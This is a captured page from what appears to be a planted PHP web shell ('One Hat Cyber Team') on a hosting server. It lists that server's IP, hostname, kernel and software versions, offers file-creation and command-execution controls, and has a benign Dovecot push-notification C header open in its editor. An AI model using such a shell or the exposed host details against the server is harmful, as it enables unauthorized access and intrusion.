One Hat Cyber Team
Your IP :
3.144.96.113
Server IP :
103.133.214.160
Server :
Linux venus.ewebguru.net 4.18.0-553.30.1.el8_10.x86_64 #1 SMP Tue Nov 26 02:30:26 EST 2024 x86_64
Server Software :
Apache/2
PHP Version :
8.1.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
include
/
dovecot
/
Edit File:
push-notification-drivers.h
/* Copyright (c) 2015-2018 Dovecot authors, see the included COPYING file */ #ifndef PUSH_NOTIFICATION_DRIVERS_H #define PUSH_NOTIFICATION_DRIVERS_H #include "mail-user.h" #include "push-notification-triggers.h" struct mail_user; struct push_notification_driver_config; struct push_notification_driver_txn; struct push_notification_driver_user; struct push_notification_txn_mbox; struct push_notification_txn_msg; HASH_TABLE_DEFINE_TYPE(push_notification_config, const char *, const char *); HASH_TABLE_DEFINE_TYPE(push_notification_msgs, void *, struct push_notification_txn_msg *); struct push_notification_driver_vfuncs { /* Init driver. Config (from plugin configuration) is parsed once (no user variable substitutions). Return 0 on success, or -1 if this driver should be disabled (or on error). */ int (*init)(struct push_notification_driver_config *config, struct mail_user *user, pool_t pool, void **context, const char **error_r); /* Called at the beginning of a notification transaction. Return TRUE on success, or FALSE if this driver should be ignored for this transaction. */ bool (*begin_txn)(struct push_notification_driver_txn *dtxn); /* Called once for every mailbox processed. */ void (*process_mbox)(struct push_notification_driver_txn *dtxn, struct push_notification_txn_mbox *mbox); /* Called once for every message processed. */ void (*process_msg)(struct push_notification_driver_txn *dtxn, struct push_notification_txn_msg *msg); /* Called at the end of a successful notification transaction. */ void (*end_txn)(struct push_notification_driver_txn *dtxn, bool success); /* Called when plugin is deinitialized. */ void (*deinit)(struct push_notification_driver_user *duser); /* Called to cleanup any global resources used in plugin. */ void (*cleanup)(void); }; struct push_notification_driver { const char *name; struct push_notification_driver_vfuncs v; }; struct push_notification_driver_config { HASH_TABLE_TYPE(push_notification_config) config; const char *raw_config; }; struct push_notification_driver_user { const struct push_notification_driver *driver; void *context; }; struct push_notification_driver_txn { const struct push_notification_driver_user *duser; struct push_notification_txn *ptxn; /* Transaction context. */ void *context; }; struct push_notification_driver_list { ARRAY(struct push_notification_driver_user *) drivers; }; struct push_notification_user { union mail_user_module_context module_ctx; struct push_notification_driver_list *driverlist; }; struct push_notification_trigger_ctx { const char *name; void *context; }; struct push_notification_txn { pool_t pool; struct mailbox *mbox; struct mail_user *muser; struct push_notification_user *puser; bool initialized; enum push_notification_event_trigger trigger; struct push_notification_trigger_ctx *trigger_ctx; ARRAY(struct push_notification_driver_txn *) drivers; ARRAY(struct push_notification_event_config *) events; struct event *event; /* Used with mailbox events. */ struct push_notification_txn_mbox *mbox_txn; /* Used with mailbox events. */ HASH_TABLE_TYPE(push_notification_msgs) messages; /* Private (used with message events). */ struct mailbox_transaction_context *t; }; int push_notification_driver_init( struct mail_user *user, const char *config_in, pool_t pool, struct push_notification_driver_user **duser_r); void push_notification_driver_cleanup_all(void); void ATTR_FORMAT(3, 4) push_notification_driver_debug(const char *label, struct mail_user *user, const char *fmt, ...); void push_notification_driver_register( const struct push_notification_driver *driver); void push_notification_driver_unregister( const struct push_notification_driver *driver); #endif
Simpan